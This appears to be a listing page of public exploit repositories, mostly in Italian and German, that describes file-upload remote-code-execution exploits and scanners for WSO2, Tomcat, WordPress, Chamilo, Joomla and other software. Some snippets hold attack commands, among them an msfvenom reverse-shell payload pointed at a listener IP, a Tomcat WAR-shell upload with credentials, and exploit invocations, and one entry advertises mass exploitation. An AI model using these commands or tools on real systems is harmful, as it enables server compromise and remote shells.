CVE-2022-29464

CVE-2022-29464 Exploit e writeup di WSO2 RCE CVE-2022-29464. Dettagli CVE-2022-29464 è una vulnerabilità critica su WSO2 scoperta da Orange Tsai. La vulnerabilità è un upload arbitrario di file non autenticato e senza restrizioni che consente ad attaccanti non autenticati di ottenere RCE sui serv...

warsend

WARSend Caricamento di shell WAR tramite l'API di Apache Tomcat Manager Prerequisiti Credenziali Accesso Text API a Tomcat Manager $ ./warsend.sh 10.10.14.232 8090 10.10.10.184 8080 tomcat $3cureP4s5w0rd! revshell | | / / | / / / / / | | /| / / /| | / // /\ / / / / | |/ |/ / |/ , // / / / / /...

Better-CVE-2022-29464

Migliorato CVE-2022-29464 Alcuni prodotti WSO2 consentono il caricamento di file senza restrizioni, con conseguente esecuzione di codice in remoto. L'aggressore deve utilizzare un endpoint /fileupload con una sequenza di directory traversal in Content-Disposition per raggiungere una directory sot...

CVE-2024-34452

CVE-2024-34452 - Cross-Site Scripting XSS Schwachstelle in CMSimpleXH Übersicht Eine Cross-Site Scripting XSS Schwachstelle wurde in CMSimpleXH Version 1.7.6 identifiziert. Diese Schwachstelle erlaubt autorisierten Benutzern, SVG-Dateien mit schädlichem JavaScript-Code hochzuladen. Das Problem...

CVE-2025-29017

CVE-2025-29017 - Esecuzione di codice remoto tramite caricamento immagine profilo in Internet Banking System 2.0.0 Descrizione Esiste una vulnerabilità di Esecuzione di Codice Remoto RCE in Code Astro Internet Banking System 2.0.0 a causa di una convalida impropria del caricamento dei file nel...

CVE-2021-40845

CVE-2021-40845 I. VULNERABILITÀ AlphaWeb XE - Caricamento file non sicuro autenticato che porta a RCE II. RIFERIMENTO CVE CVE-2021-40845 III. FORNITORE https://www.zenitel.com/ IV. DESCRIZIONE La componente web di Zenitel AlphaCom XE Audio Server fino alla versione 11.2.3.10, chiamata AlphaWeb XE...

CVE-2023-41425-wonderCMS_RCE

CVE-2023-41425-wonderCMSRCE La vulnerabilità di Cross Site Scripting in Wonder CMS v.3.2.0 fino alla v.3.4.2 consente a un attaccante remoto di eseguire codice arbitrario tramite uno script appositamente predisposto caricato nel componente installModule. Solo a scopo educativo Richiede la...

CVE-2022-29464

WSO2 Caricamento Arbitrario di File a Esecuzione Remota di Comandi RCE https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 Esempio python3 exploit.py https://target.org:9443 shell.jsp...

CVE-2023-50164

CVE-2023-50164 Uno strumento di scansione e PoC per CVE-2023-50164 Considerazioni Lo sfruttamento di CVE-2023-50164 è molto specifico per l'ambiente. Questo PoC tenta di generalizzare il processo di sfruttamento richiedendo all'utente di inserire i dettagli specifici dell'ambiente tramite i flag...

Check-WP-CVE-2020-35489

Check-WP-CVE-2020-35489 CVE-2020-35489 La CVE-2020-35489 è stata scoperta nel plugin WordPress Contact Form 7 5.3.1 e nelle versioni precedenti. Sfruttando questa vulnerabilità, gli aggressori possono caricare file di qualsiasi tipo, aggirando tutte le restrizioni relative ai tipi di file...

CVE-2019-8942

CVE-2019-8942 e CVE-2019-8943: RCE di WordPress privilegio author Panoramica CVE-2019-8942 è una vulnerabilità che sfrutta il difetto LFI combinato con la funzionalità di caricamento file File Upload per eseguire RCE sul server web WordPress con privilegi di author. Le versioni di WordPress...

CVE-2025-64512

Stellen Sie sicher, dass Sie den Parameter ausfüllen, d. h. Target und Uploaddir...

CVE-2023-4226

🛠️ Sfruttamento CVE-2023-4226 per Chamilo LMS 📋 Descrizione Script in Python che automatizza lo sfruttamento di CVE-2023-4226 , una vulnerabilità di caricamento di file senza restrizioni in Chamilo LMS = v1.11.24. Carica una web shell PHP basata su PentesterMonkey e configura .htaccess per ottener...

CVE-2024-22263_Scanner

CVE-2024-22263Scanner Solo per uso etico, qualsiasi attività dannosa o malevola non è consentita. È tua responsabilità. CVE-2024-22263: Scrittura arbitraria di file in Spring Cloud Dataflow Utilizzo ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██╗ ██╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗...

CVE-2009-2265

Versione: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp Esempio :...

CVE-2024-43160

Wordpress BerqWP = 1.7.6 - Nicht authentifizierter beliebiger Datei-Upload CVE-2024-43160 Das BerqWP – Automated All-In-One PageSpeed Optimization Plugin für Core Web Vitals, Cache, CDN, Bilder, CSS und JavaScript Plugin für WordPress ist anfällig für beliebige Datei-Uploads aufgrund fehlender...

CVE-2019-11447-POC

sadnews CuteNews 2.1.2 - Proof-Of-Concept per CVE-2019-11447 POC di CRFSlick, scoperto da AkkuS È stato scoperto un problema in CutePHP CuteNews 2.1.2. Un attaccante può infiltrarsi nel server attraverso il processo di caricamento dell'avatar nell'area del profilo tramite il campo avatarfile su...

CVE-2022-31814

pfBlockerNG = 2.1.426 RCE Non Autenticata Questo script è un exploit proof-of-concept per pfBlockerNG = 2.1.426 che consente l'esecuzione remota di codice. Prende un singolo URL di destinazione o una lista di URL, carica una shell, esegue un comando e poi cancella la shell. Requisiti Questo scrip...

CVE-2026-57827

CVE-2026-57827 — RSFiles! Joomla-Komponente: Nicht authentifizierter Datei-Upload führt zu RCE Split-Controller-Upload-Bypass → direkter Schreib-Task → /downloads/shell.php → RCE Übersicht CVE-2026-57827 ist eine kritische CVSS 9.8 nicht authentifizierte Schwachstelle für beliebigen Datei-Upload ...

CVE-2021-24499

CVE-2021-24499 Sfruttamento di massa di CVE-2021-24499: upload non autenticato che porta all'esecuzione remota di codice nel tema Workreap. Le azioni AJAX workreapawardtempfileuploader e workreaptempfileuploader non eseguivano controlli nonce, né verificavano in alcun altro modo che la richiesta...